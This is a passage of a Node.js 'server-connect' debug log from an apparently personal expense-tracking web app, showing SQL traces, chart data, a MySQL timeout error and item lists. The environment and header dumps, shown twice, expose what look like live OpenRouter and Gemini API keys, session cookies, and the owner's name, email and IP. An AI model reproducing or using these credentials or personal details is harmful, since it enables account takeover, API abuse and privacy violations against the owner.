      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T04:20:52.948Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '425',
    surplus_or_deficit: '1975',
    status_flag: 2
  }
]
2025-12-22T04:20:53.513Z server-connect:app Executing action step identify
2025-12-22T04:20:53.513Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:53.513Z server-connect:output identity: 1
2025-12-22T04:21:10.857Z server-connect:app Executing action step identify
2025-12-22T04:21:10.857Z server-connect:app options: { provider: 'security' }
2025-12-22T04:21:10.857Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 04:41:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 04:41:50' as DATETIME)"
}
2025-12-22T05:08:08.929Z server-connect:router Serving templateView /
2025-12-22T05:08:08.930Z server-connect:app Executing action step identify
2025-12-22T05:08:08.930Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:08.930Z server-connect:output identity: 1
2025-12-22T05:08:08.930Z server-connect:app Executing action step restrict
2025-12-22T05:08:08.930Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:08:08.932Z server-connect:output restrict: undefined
2025-12-22T05:08:08.932Z server-connect:app Executing action step restrict
2025-12-22T05:08:08.932Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:08:08.933Z server-connect:output restrict: undefined
2025-12-22T05:08:08.933Z server-connect:router Render template layouts/main
2025-12-22T05:08:08.933Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T05:08:09.769Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T05:08:09.769Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T05:08:09.769Z server-connect:app Executing action step identify
2025-12-22T05:08:09.769Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:09.769Z server-connect:output identity: 1
2025-12-22T05:08:09.769Z server-connect:app Executing action step restrict
2025-12-22T05:08:09.769Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:08:09.770Z server-connect:app Executing action step identify
2025-12-22T05:08:09.770Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:09.770Z server-connect:output identity: 1
2025-12-22T05:08:09.770Z server-connect:app Executing action step restrict
2025-12-22T05:08:09.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:08:09.771Z server-connect:output restrict: undefined
2025-12-22T05:08:09.771Z server-connect:app Executing action step single
2025-12-22T05:08:09.771Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T05:08:09.773Z server-connect:output restrict: undefined
2025-12-22T05:08:09.773Z server-connect:app Executing action step select
2025-12-22T05:08:09.773Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T05:08:09.773Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T05:08:09.777Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T05:08:37.811Z server-connect:router Serving templateView /
2025-12-22T05:08:37.812Z server-connect:app Executing action step identify
2025-12-22T05:08:37.812Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:37.812Z server-connect:output identity: 1
2025-12-22T05:08:37.812Z server-connect:app Executing action step restrict
2025-12-22T05:08:37.812Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:08:37.813Z server-connect:output restrict: undefined
2025-12-22T05:08:37.813Z server-connect:app Executing action step restrict
2025-12-22T05:08:37.813Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:08:37.814Z server-connect:output restrict: undefined
2025-12-22T05:08:37.814Z server-connect:router Render template layouts/main
2025-12-22T05:08:37.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T05:08:38.400Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T05:08:38.400Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T05:08:38.400Z server-connect:app Executing action step identify
2025-12-22T05:08:38.400Z server-connect:app options: { provider: 'security' }
2025-12-22T05:08:38.400Z server-connect:output identity: 1
2025-12-22T05:08:38.401Z server-connect:app Executing action step restrict
